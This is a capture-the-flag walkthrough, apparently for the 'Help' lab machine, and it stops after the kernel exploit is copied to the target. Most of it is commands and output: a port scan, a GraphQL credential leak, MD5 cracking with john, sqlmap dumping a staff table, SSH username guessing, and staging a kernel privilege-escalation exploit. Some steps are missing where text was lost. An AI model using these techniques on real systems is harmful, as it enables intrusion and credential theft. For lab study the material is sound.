A Linux machine where a help desk application’s unauthenticated GraphQL endpoint exposes user credentials — and an authenticated SQL injection, combined with an older kernel vulnerability, escalates to root.
$ ip=10.129.3.123; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-19 09:09 -0500 Nmap scan report for 10.129.3.123 Host is up (0.17s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) 80/tcp open http Apache httpd 2.4.18 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Did not follow redirect to http://help.htb/ 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.27 seconds
Findings:
22/tcp: OpenSSH 7.2p2 (Ubuntu)
80/tcp: Apache 2.4.18 redirecting to http://help.htb
3000/tcp: Node.js Express server
Foothold
Hostname Setup
Add the vhost to /etc/hosts.
1
$ echo'10.129.3.123 help.htb' | sudotee -a /etc/hosts
Visiting http://help.htb/ shows the default Apache2 page.
ffuf discovers the /support directory, which is a HelpDeskz application. There is no obvious version information on the page, so we enumerate the /support directory further.
$ curl -s -G http://help.htb:3000/graphql --data-urlencode "query={user}" | jq { "errors": [ { "message": "Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?", "locations": [ { "line": 1, "column": 2 } ] } ] }
Not Found. -------------------------------------------------- HASH: 5d3c93182bb20f07b994a7f617e99cff
Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
The hash is identified as MD5. Crack it with john:
1 2 3 4 5 6 7 8 9 10
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status godhelpmeplz (?) 1g 0:00:00:00 DONE (2026-02-19 10:56) 3.846g/s 30145Kp/s 30145Kc/s 30145KC/s godiamond11213..godessisis Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
Now we have the credentials helpme@helpme.com:godhelpmeplz, and we can exploit CVE-2020-26546, the Authenticated SQL Injection.
SQL Injection via Ticket Attachment
Create a new ticket with an attachment. Then open the newly created ticket in the My Tickets tab.
Capture the attachment request in Burp and save it as req.txt:
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[11:54:19] [INFO] using hash method 'sha1_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > /usr/share/wordlists/rockyou.txt [11:54:39] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N]
[11:54:45] [INFO] table 'support.staff' dumped to CSV file '/home/kali/.local/share/sqlmap/output/help.htb/dump/support/staff.csv' [11:54:45] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/help.htb'
[*] ending @ 11:54:45 /2026-02-19/
We recover the credentials admin:Welcome1.
SSH Access
After testing likely usernames, we are able to log in using the username help:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$ ssh admin@help.htb $ ssh support@help.htb $ ssh staff@help.htb $ ssh shiv@help.htb $ ssh help@help.htb ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html help@help.htb's password: Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage You have new mail. Last login: Fri Jan 11 06:18:50 2019 help@help:~$
Privilege Escalation
Kernel Info
Check the kernel version:
1 2
help@help:~$ cat /proc/version Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
Exploit Research
Using searchsploit, we identify a possible local privilege escalation exploit:
1 2 3 4 5 6 7
$ searchsploit 4.4.0-116 ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Copy the exploit locally:
1 2 3 4 5 6 7 8
$ searchsploit -m linux/local/44298.c Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation URL: https://www.exploit-db.com/exploits/44298 Path: /usr/share/exploitdb/exploits/linux/local/44298.c Codes: CVE-2017-16995 Verified: False File Type: C source, ASCII text Copied to: /home/kali/htb/help/44298.c
Exploit Execution
Copy the exploit to the target:
1 2 3 4 5 6
$ scp 44298.c help@help.htb:/tmp ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html help@help.htb's password: 44298.c